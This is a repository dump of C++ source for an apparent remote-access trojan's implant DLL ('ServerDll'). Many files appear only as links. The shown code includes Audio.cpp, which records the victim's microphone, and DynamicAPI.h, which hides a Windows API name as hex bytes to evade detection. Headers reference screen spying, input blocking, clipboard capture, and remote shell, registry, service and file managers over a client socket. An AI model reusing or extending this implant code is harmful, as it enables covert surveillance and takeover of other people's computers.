memLevel, 866 | int strategy, const char *version, 867 | int stream_size)); 868 | ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits, 869 | const char *version, int stream_size)); 870 | #define deflateInit(strm, level) \ 871 | deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream)) 872 | #define inflateInit(strm) \ 873 | inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream)) 874 | #define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ 875 | deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ 876 | (strategy), ZLIB_VERSION, sizeof(z_stream)) 877 | #define inflateInit2(strm, windowBits) \ 878 | inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream)) 879 | 880 | 881 | #if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL) 882 | struct internal_state {int dummy;}; /* hack for buggy compilers */ 883 | #endif 884 | 885 | ZEXTERN const char * ZEXPORT zError OF((int err)); 886 | ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z)); 887 | ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void)); 888 | 889 | #ifdef __cplusplus 890 | } 891 | #endif 892 | 893 | #endif /* _ZLIB_H */ 894 | -------------------------------------------------------------------------------- /Remote/Remote/zlib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/zlib.lib -------------------------------------------------------------------------------- /ServerDll/Audio.cpp: -------------------------------------------------------------------------------- 1 | // Audio.cpp: implementation of the CAudio class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #include "stdafx.h" 6 | #include "Audio.h" 7 | 8 | ////////////////////////////////////////////////////////////////////// 9 | // Construction/Destruction 10 | ////////////////////////////////////////////////////////////////////// 11 | 12 | CAudio::CAudio() 13 | { 14 | m_hEventWaveIn = CreateEvent(NULL, false, false, NULL); 15 | m_hStartRecord = CreateEvent(NULL, false, false, NULL); 16 | m_hThreadCallBack = NULL; 17 | m_nWaveInIndex = 0; 18 | m_nWaveOutIndex = 0; 19 | m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit) 20 | 21 | m_bIsWaveInUsed = false; 22 | m_bIsWaveOutUsed = false; 23 | 24 | for (int i = 0; i < 2; i++) 25 | { 26 | m_lpInAudioData[i] = new BYTE[m_nBufferLength]; 27 | m_lpInAudioHdr[i] = new WAVEHDR; 28 | 29 | m_lpOutAudioData[i] = new BYTE[m_nBufferLength]; 30 | m_lpOutAudioHdr[i] = new WAVEHDR; 31 | } 32 | 33 | memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT)); 34 | 35 | m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format 36 | m_GSMWavefmt.wfx.nChannels = 1; 37 | m_GSMWavefmt.wfx.nSamplesPerSec = 8000; 38 | m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625; 39 | m_GSMWavefmt.wfx.nBlockAlign = 65; 40 | m_GSMWavefmt.wfx.wBitsPerSample = 0; 41 | m_GSMWavefmt.wfx.cbSize = 2; 42 | m_GSMWavefmt.wSamplesPerBlock = 320; 43 | } 44 | 45 | CAudio::~CAudio() 46 | { 47 | if (m_bIsWaveInUsed) 48 | { 49 | waveInStop(m_hWaveIn); 50 | waveInReset(m_hWaveIn); 51 | for (int i = 0; i < 2; i++) 52 | waveInUnprepareHeader(m_hWaveIn, m_lpInAudioHdr[i], sizeof(WAVEHDR)); 53 | waveInClose(m_hWaveIn); 54 | TerminateThread(m_hThreadCallBack, -1); 55 | } 56 | 57 | if (m_bIsWaveOutUsed) 58 | { 59 | waveOutReset(m_hWaveOut); 60 | for (int i = 0; i < 2; i++) 61 | waveOutUnprepareHeader(m_hWaveOut, m_lpInAudioHdr[i], sizeof(WAVEHDR)); 62 | waveOutClose(m_hWaveOut); 63 | } 64 | 65 | 66 | for (int i = 0; i < 2; i++) 67 | { 68 | delete [] m_lpInAudioData[i]; 69 | delete m_lpInAudioHdr[i]; 70 | 71 | delete [] m_lpOutAudioData[i]; 72 | delete m_lpOutAudioHdr[i]; 73 | } 74 | 75 | CloseHandle(m_hEventWaveIn); 76 | CloseHandle(m_hStartRecord); 77 | CloseHandle(m_hThreadCallBack); 78 | } 79 | 80 | 81 | LPBYTE CAudio::GetRecordBuffer(LPDWORD lpdwBytes) 82 | { 83 | if (!m_bIsWaveInUsed && !InitializeWaveIn()) 84 | return NULL; 85 | 86 | if (lpdwBytes == NULL) 87 | return NULL; 88 | 89 | SetEvent(m_hStartRecord); 90 | WaitForSingleObject(m_hEventWaveIn, INFINITE); 91 | *lpdwBytes = m_nBufferLength; 92 | return m_lpInAudioData[m_nWaveInIndex]; 93 | } 94 | 95 | bool CAudio::PlayBuffer(LPBYTE lpWaveBuffer, DWORD dwBytes) 96 | { 97 | if (!m_bIsWaveOutUsed && !InitializeWaveOut()) 98 | return NULL; 99 | 100 | for (int i = 0; i < dwBytes; i += m_nBufferLength) 101 | { 102 | memcpy(m_lpOutAudioData[m_nWaveOutIndex], lpWaveBuffer, m_nBufferLength); 103 | waveOutWrite(m_hWaveOut, m_lpOutAudioHdr[m_nWaveOutIndex], sizeof(WAVEHDR)); 104 | m_nWaveOutIndex = 1 - m_nWaveOutIndex; 105 | } 106 | return true; 107 | } 108 | 109 | bool CAudio::InitializeWaveIn() 110 | { 111 | if (!waveInGetNumDevs()) 112 | return false; 113 | 114 | MMRESULT mmResult; 115 | DWORD dwThreadID = 0; 116 | m_hThreadCallBack = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, CREATE_SUSPENDED, &dwThreadID); 117 | mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD); 118 | 119 | if (mmResult != MMSYSERR_NOERROR) 120 | return false; 121 | 122 | for (int i=0; i<2; i++) 123 | { 124 | m_lpInAudioHdr[i]->lpData = (LPSTR)m_lpInAudioData[i]; 125 | m_lpInAudioHdr[i]->dwBufferLength = m_nBufferLength; 126 | m_lpInAudioHdr[i]->dwFlags = 0; 127 | m_lpInAudioHdr[i]->dwLoops = 0; 128 | waveInPrepareHeader(m_hWaveIn, m_lpInAudioHdr[i], sizeof(WAVEHDR)); 129 | } 130 | 131 | waveInAddBuffer(m_hWaveIn, m_lpInAudioHdr[m_nWaveInIndex], sizeof(WAVEHDR)); 132 | 133 | ResumeThread(m_hThreadCallBack); 134 | waveInStart(m_hWaveIn); 135 | 136 | m_bIsWaveInUsed = true; 137 | 138 | return true; 139 | 140 | } 141 | 142 | bool CAudio::InitializeWaveOut() 143 | { 144 | if (!waveOutGetNumDevs()) 145 | return false; 146 | int i; 147 | for (i = 0; i < 2; i++) 148 | memset(m_lpOutAudioData[i], 0, m_nBufferLength); 149 | 150 | MMRESULT mmResult; 151 | mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL); 152 | if (mmResult != MMSYSERR_NOERROR) 153 | return false; 154 | 155 | for (i = 0; i < 2; i++) 156 | { 157 | m_lpOutAudioHdr[i]->lpData = (LPSTR)m_lpOutAudioData[i]; 158 | m_lpOutAudioHdr[i]->dwBufferLength = m_nBufferLength; 159 | m_lpOutAudioHdr[i]->dwFlags = 0; 160 | m_lpOutAudioHdr[i]->dwLoops = 0; 161 | waveOutPrepareHeader(m_hWaveOut, m_lpOutAudioHdr[i], sizeof(WAVEHDR)); 162 | } 163 | 164 | m_bIsWaveOutUsed = true; 165 | return true; 166 | } 167 | 168 | DWORD WINAPI CAudio::waveInCallBack( LPVOID lparam ) 169 | { 170 | CAudio *pThis = (CAudio *)lparam; 171 | 172 | MSG Msg; 173 | while (GetMessage(&Msg, NULL, 0, 0)) 174 | { 175 | if (Msg.message == MM_WIM_DATA) 176 | { 177 | 178 | SetEvent(pThis->m_hEventWaveIn); 179 | 180 | WaitForSingleObject(pThis->m_hStartRecord, INFINITE); 181 | 182 | pThis->m_nWaveInIndex = 1 - pThis->m_nWaveInIndex; 183 | 184 | MMRESULT mmResult = waveInAddBuffer(pThis->m_hWaveIn, pThis->m_lpInAudioHdr[pThis->m_nWaveInIndex], sizeof(WAVEHDR)); 185 | if (mmResult != MMSYSERR_NOERROR) 186 | return -1; 187 | 188 | } 189 | 190 | 191 | if (Msg.message == MM_WIM_CLOSE) 192 | break; 193 | 194 | TranslateMessage(&Msg); 195 | DispatchMessage(&Msg); 196 | } 197 | 198 | return 0; 199 | } -------------------------------------------------------------------------------- /ServerDll/Audio.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Audio.h -------------------------------------------------------------------------------- /ServerDll/AudioManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/AudioManager.cpp -------------------------------------------------------------------------------- /ServerDll/AudioManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/AudioManager.h -------------------------------------------------------------------------------- /ServerDll/Buffer.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Buffer.cpp -------------------------------------------------------------------------------- /ServerDll/Buffer.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Buffer.h -------------------------------------------------------------------------------- /ServerDll/CaptureVideo.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/CaptureVideo.cpp -------------------------------------------------------------------------------- /ServerDll/CaptureVideo.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/CaptureVideo.h -------------------------------------------------------------------------------- /ServerDll/ClientSocket.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ClientSocket.cpp -------------------------------------------------------------------------------- /ServerDll/ClientSocket.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ClientSocket.h -------------------------------------------------------------------------------- /ServerDll/Common.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Common.cpp -------------------------------------------------------------------------------- /ServerDll/Common.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Common.h -------------------------------------------------------------------------------- /ServerDll/DynamicAPI.h: -------------------------------------------------------------------------------- 1 | /* 2 | typedef BOOL (WINAPI *CloseWindowT)(IN HWND hWnd); 3 | 4 | class DynamicAPI 5 | { 6 | public: 7 | CloseWindowT pCloseWindowT; 8 | void init_user32(){ 9 | pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow"); 10 | } 11 | }; 12 | */ 13 | 14 | typedef BOOL (WINAPI* CloseWindowT)(IN HWND hWnd); 15 | 16 | class DynamicAPI 17 | { 18 | public: 19 | CloseWindowT pCloseWindowT; 20 | void init_user32() 21 | { 22 | //char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77,0}; 23 | //pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp); 24 | char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0}; 25 | //pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow"); 26 | pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp); 27 | } 28 | 29 | }; 30 | -------------------------------------------------------------------------------- /ServerDll/FileManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/FileManager.cpp -------------------------------------------------------------------------------- /ServerDll/FileManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/FileManager.h -------------------------------------------------------------------------------- /ServerDll/KernelManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/KernelManager.cpp -------------------------------------------------------------------------------- /ServerDll/KernelManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/KernelManager.h -------------------------------------------------------------------------------- /ServerDll/Login.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Login.cpp -------------------------------------------------------------------------------- /ServerDll/Login.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Login.h -------------------------------------------------------------------------------- /ServerDll/Manager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Manager.cpp -------------------------------------------------------------------------------- /ServerDll/Manager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Manager.h -------------------------------------------------------------------------------- /ServerDll/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | DYNAMIC LINK LIBRARY : ServerDll 3 | ======================================================================== 4 | 5 | 6 | AppWizard has created this ServerDll DLL for you. 7 | 8 | This file contains a summary of what you will find in each of the files that 9 | make up your ServerDll application. 10 | 11 | ServerDll.dsp 12 | This file (the project file) contains information at the project level and 13 | is used to build a single project or subproject. Other users can share the 14 | project (.dsp) file, but they should export the makefiles locally. 15 | 16 | ServerDll.cpp 17 | This is the main DLL source file. 18 | 19 | When created, this DLL does not export any symbols. As a result, it 20 | will not produce a .lib file when it is built. If you wish this project 21 | to be a project dependency of some other project, you will either need to 22 | add code to export some symbols from the DLL so that an export library 23 | will be produced, or you can check the "doesn't produce lib" checkbox in 24 | the Linker settings page for this project. 25 | 26 | ///////////////////////////////////////////////////////////////////////////// 27 | Other standard files: 28 | 29 | StdAfx.h, StdAfx.cpp 30 | These files are used to build a precompiled header (PCH) file 31 | named ServerDll.pch and a precompiled types file named StdAfx.obj. 32 | 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | Other notes: 36 | 37 | AppWizard uses "TODO:" to indicate parts of the source code you 38 | should add to or customize. 39 | 40 | 41 | ///////////////////////////////////////////////////////////////////////////// 42 | -------------------------------------------------------------------------------- /ServerDll/RegEditEx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/RegEditEx.cpp -------------------------------------------------------------------------------- /ServerDll/RegEditEx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/RegEditEx.h -------------------------------------------------------------------------------- /ServerDll/RegManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/RegManager.cpp -------------------------------------------------------------------------------- /ServerDll/RegManager.h: -------------------------------------------------------------------------------- 1 | // RegManager.h: interface for the CRegManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_REGMANAGER_H__1B470138_66F4_49CA_B7E8_BA4C4E36CA3C__INCLUDED_) 6 | #define AFX_REGMANAGER_H__1B470138_66F4_49CA_B7E8_BA4C4E36CA3C__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | 14 | class CRegManager : public CManager 15 | { 16 | public: 17 | void OnReceive(LPBYTE lpBuffer, UINT nSize); 18 | CRegManager(CClientSocket *pClient); 19 | virtual ~CRegManager(); 20 | void Find(char bToken,char* path); 21 | 22 | }; 23 | 24 | #endif // !defined(AFX_REGMANAGER_H__1B470138_66F4_49CA_B7E8_BA4C4E36CA3C__INCLUDED_) 25 | -------------------------------------------------------------------------------- /ServerDll/RegeditOpt.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/RegeditOpt.cpp -------------------------------------------------------------------------------- /ServerDll/RegeditOpt.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/RegeditOpt.h -------------------------------------------------------------------------------- /ServerDll/ScreenManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ScreenManager.cpp -------------------------------------------------------------------------------- /ServerDll/ScreenManager.h: -------------------------------------------------------------------------------- 1 | // ScreenManager.h: interface for the CScreenManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_SCREENMANAGER_H__5B96D465_6C5B_4A8A_B685_C2E6D6121227__INCLUDED_) 6 | #define AFX_SCREENMANAGER_H__5B96D465_6C5B_4A8A_B685_C2E6D6121227__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | 11 | #include "Manager.h" 12 | #include "ScreenSpy.h" 13 | #endif // _MSC_VER > 1000 14 | 15 | #define ALGORITHM_DIFF 1 16 | class CScreenManager : public CManager 17 | { 18 | public: 19 | CScreenManager(CClientSocket *pClient); 20 | virtual ~CScreenManager(); 21 | 22 | private: 23 | int m_biBitCount; 24 | CScreenSpy *m_pScreenSpy; 25 | HANDLE m_hWorkThread, m_hBlankThread; 26 | bool m_bIsWorking; 27 | bool m_bIsBlockInput; 28 | BYTE m_bAlgorithm; 29 | bool m_bIsCaptureLayer; 30 | static DWORD WINAPI WorkThread(LPVOID lparam); 31 | static DWORD WINAPI ControlThread(LPVOID lparam); 32 | void CScreenManager::sendBitMapInfo(); 33 | void CScreenManager::sendFirstScreen(); 34 | void CScreenManager::sendNextScreen(); 35 | void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize); 36 | void CScreenManager::ProcessCommand(LPBYTE lpBuffer, UINT nSize); 37 | void CScreenManager::ResetScreen(int biBitCount); 38 | void CScreenManager::SendLocalClipboard(); 39 | void CScreenManager::UpdateLocalClipboard(char *buf, int len); 40 | 41 | 42 | }; 43 | 44 | #endif // !defined(AFX_SCREENMANAGER_H__5B96D465_6C5B_4A8A_B685_C2E6D6121227__INCLUDED_) 45 | -------------------------------------------------------------------------------- /ServerDll/ScreenSpy.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ScreenSpy.cpp -------------------------------------------------------------------------------- /ServerDll/ScreenSpy.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ScreenSpy.h -------------------------------------------------------------------------------- /ServerDll/Script.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/Script.aps -------------------------------------------------------------------------------- /ServerDll/Script.rc: -------------------------------------------------------------------------------- 1 | //Microsoft Developer Studio generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "afxres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // Chinese (P.R.C.) resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) 19 | #ifdef _WIN32 20 | LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED 21 | #pragma code_page(936) 22 | #endif //_WIN32 23 | 24 | ///////////////////////////////////////////////////////////////////////////// 25 | // 26 | // Dialog 27 | // 28 | 29 | IDD_DIALOG DIALOG DISCARDABLE 0, 0, 291, 176 30 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 31 | CAPTION "Dialog" 32 | FONT 10, "System" 33 | BEGIN 34 | END 35 | 36 | 37 | ///////////////////////////////////////////////////////////////////////////// 38 | // 39 | // DESIGNINFO 40 | // 41 | 42 | #ifdef APSTUDIO_INVOKED 43 | GUIDELINES DESIGNINFO DISCARDABLE 44 | BEGIN 45 | IDD_DIALOG, DIALOG 46 | BEGIN 47 | LEFTMARGIN, 7 48 | RIGHTMARGIN, 284 49 | TOPMARGIN, 7 50 | BOTTOMMARGIN, 169 51 | END 52 | END 53 | #endif // APSTUDIO_INVOKED 54 | 55 | 56 | #ifdef APSTUDIO_INVOKED 57 | ///////////////////////////////////////////////////////////////////////////// 58 | // 59 | // TEXTINCLUDE 60 | // 61 | 62 | 1 TEXTINCLUDE DISCARDABLE 63 | BEGIN 64 | "resource.h\0" 65 | END 66 | 67 | 2 TEXTINCLUDE DISCARDABLE 68 | BEGIN 69 | "#include ""afxres.h""\r\n" 70 | "\0" 71 | END 72 | 73 | 3 TEXTINCLUDE DISCARDABLE 74 | BEGIN 75 | "\r\n" 76 | "\0" 77 | END 78 | 79 | #endif // APSTUDIO_INVOKED 80 | 81 | #endif // Chinese (P.R.C.) resources 82 | ///////////////////////////////////////////////////////////////////////////// 83 | 84 | 85 | 86 | #ifndef APSTUDIO_INVOKED 87 | ///////////////////////////////////////////////////////////////////////////// 88 | // 89 | // Generated from the TEXTINCLUDE 3 resource. 90 | // 91 | 92 | 93 | ///////////////////////////////////////////////////////////////////////////// 94 | #endif // not APSTUDIO_INVOKED 95 | 96 | -------------------------------------------------------------------------------- /ServerDll/ServerDll.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ServerDll.cpp -------------------------------------------------------------------------------- /ServerDll/ServerDll.dsp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ServerDll.dsp -------------------------------------------------------------------------------- /ServerDll/ServerDll.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "ServerDll"=.\ServerDll.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /ServerDll/ServerDll.ncb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ServerDll.ncb -------------------------------------------------------------------------------- /ServerDll/ServerDll.opt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ServerDll.opt -------------------------------------------------------------------------------- /ServerDll/ServerDll.plg: -------------------------------------------------------------------------------- 1 | 2 | 3 |
 4 | 

Build Log

5 |

6 | --------------------Configuration: ServerDll - Win32 Debug-------------------- 7 |

8 |

Command Lines

9 | 10 | 11 | 12 |

Results

13 | ServerDll.dll - 0 error(s), 0 warning(s) 14 |
15 | 16 | 17 | -------------------------------------------------------------------------------- /ServerDll/ServerManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ServerManager.cpp -------------------------------------------------------------------------------- /ServerDll/ServerManager.h: -------------------------------------------------------------------------------- 1 | // ServerManager.h: interface for the CServerManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_SERVERMANAGER_H__58AFCDDE_0DDD_414E_8283_511D6401FF67__INCLUDED_) 6 | #define AFX_SERVERMANAGER_H__58AFCDDE_0DDD_414E_8283_511D6401FF67__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | 14 | class CServerManager : public CManager 15 | { 16 | public: 17 | CServerManager(CClientSocket *pClient); 18 | virtual ~CServerManager(); 19 | void CServerManager::SendServicesList(); 20 | 21 | LPBYTE CServerManager::getServerList(); 22 | 23 | }; 24 | 25 | #endif // !defined(AFX_SERVERMANAGER_H__58AFCDDE_0DDD_414E_8283_511D6401FF67__INCLUDED_) 26 | -------------------------------------------------------------------------------- /ServerDll/ShellManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ShellManager.cpp -------------------------------------------------------------------------------- /ServerDll/ShellManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/ShellManager.h -------------------------------------------------------------------------------- /ServerDll/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ServerDll.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /ServerDll/StdAfx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #if !defined(AFX_STDAFX_H__9452DDAD_C324_4EA0_97BC_6B508A27C72B__INCLUDED_) 7 | #define AFX_STDAFX_H__9452DDAD_C324_4EA0_97BC_6B508A27C72B__INCLUDED_ 8 | 9 | #if _MSC_VER > 1000 10 | #pragma once 11 | #endif // _MSC_VER > 1000 12 | 13 | 14 | // Insert your headers here 15 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 16 | 17 | #include 18 | 19 | // TODO: reference additional headers your program requires here 20 | 21 | //{{AFX_INSERT_LOCATION}} 22 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 23 | 24 | #endif // !defined(AFX_STDAFX_H__9452DDAD_C324_4EA0_97BC_6B508A27C72B__INCLUDED_) 25 | -------------------------------------------------------------------------------- /ServerDll/SystemManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/SystemManager.cpp -------------------------------------------------------------------------------- /ServerDll/SystemManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/SystemManager.h -------------------------------------------------------------------------------- /ServerDll/Talk.cpp: -------------------------------------------------------------------------------- 1 | // Talk.cpp: implementation of the Talk class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #include "stdafx.h" 6 | #include "Talk.h" 7 | #include "resource.h" 8 | #include "Common.h" 9 | 10 | 11 | 12 | extern HINSTANCE g_hInstance; 13 | ////////////////////////////////////////////////////////////////////// 14 | // Construction/Destruction 15 | ////////////////////////////////////////////////////////////////////// 16 | 17 | Talk::Talk(CClientSocket *pClient):CManager(pClient) 18 | { 19 | 20 | 21 | 22 | 23 | MyCreateThread(NULL, 0, 24 | (LPTHREAD_START_ROUTINE)CreateTalkDialog,(LPVOID)this, 0, NULL); 25 | 26 | 27 | 28 | } 29 | 30 | 31 | 32 | DWORD WINAPI Talk::CreateTalkDialog(LPVOID lparam) 33 | { 34 | 35 | DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),NULL,DialogProc); 36 | 37 | 38 | return 0; 39 | } 40 | 41 | 42 | int CALLBACK Talk::DialogProc(HWND hDlg,unsigned int uMsg,WPARAM wParam,LPARAM lParam) 43 | { 44 | 45 | //P2P WSAAy 46 | 47 | switch(uMsg) 48 | { 49 | 50 | case WM_INITDIALOG: 51 | { 52 | 53 | 54 | break; 55 | } 56 | case WM_CLOSE: 57 | { 58 | EndDialog(hDlg,0); 59 | 60 | break; 61 | } 62 | 63 | //setdilgtext 64 | } 65 | 66 | 67 | return 0; 68 | } 69 | 70 | 71 | Talk::~Talk() 72 | { 73 | 74 | } 75 | -------------------------------------------------------------------------------- /ServerDll/Talk.h: -------------------------------------------------------------------------------- 1 | 